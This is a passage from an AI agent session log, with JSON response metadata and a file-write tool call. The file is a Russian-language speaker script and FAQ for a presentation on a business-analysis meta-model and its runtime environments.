\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\"\n[2026-09-29T07:53:48.040Z] [INFO]         },\n[2026-09-29T07:53:48.040Z] [INFO]         \"caller\": {\n[2026-09-29T07:53:48.040Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:53:48.040Z] [INFO]         }\n[2026-09-29T07:53:48.040Z] [INFO]       }\n[2026-09-29T07:53:48.040Z] [INFO]     ],\n[2026-09-29T07:53:48.040Z] [INFO]     \"container\": null,\n[2026-09-29T07:53:48.040Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:53:48.040Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:53:48.040Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:53:48.040Z] [INFO]     \"usage\": {\n[2026-09-29T07:53:48.040Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:53:48.040Z] [INFO]       \"cache_creation_input_tokens\": 632,\n[2026-09-29T07:53:48.040Z] [INFO]       \"cache_read_input_tokens\": 107118,\n[2026-09-29T07:53:48.040Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:53:48.040Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:53:48.040Z] [INFO]         \"ephemeral_1h_input_tokens\": 632\n[2026-09-29T07:53:48.040Z] [INFO]       },\n[2026-09-29T07:53:48.040Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:53:48.040Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:53:48.040Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:53:48.040Z] [INFO]     },\n[2026-09-29T07:53:48.040Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:53:48.040Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:53:48.040Z] [INFO]     \"context_management\": null\n[2026-09-29T07:53:48.040Z] [INFO]   },\n[2026-09-29T07:53:48.040Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:53:48.040Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:53:48.040Z] [INFO]   \"uuid\": \"45cf6067-cd10-4bef-8804-dca8a135445d\",\n[2026-09-29T07:53:48.040Z] [INFO]   \"timestamp\": \"2026-09-29T07:53:47.993Z\",\n[2026-09-29T07:53:48.040Z] [INFO]   \"request_id\": \"req_011CfXNGHKsPJjFoWDY7NsVp\",\n[2026-09-29T07:53:48.040Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:53:48.040Z] [INFO]     \"toolu_01GbDhvGR6SDE8EyvtinseYU\": {\n[2026-09-29T07:53:48.040Z] [INFO]       \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:53:48.040Z] [INFO]       \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 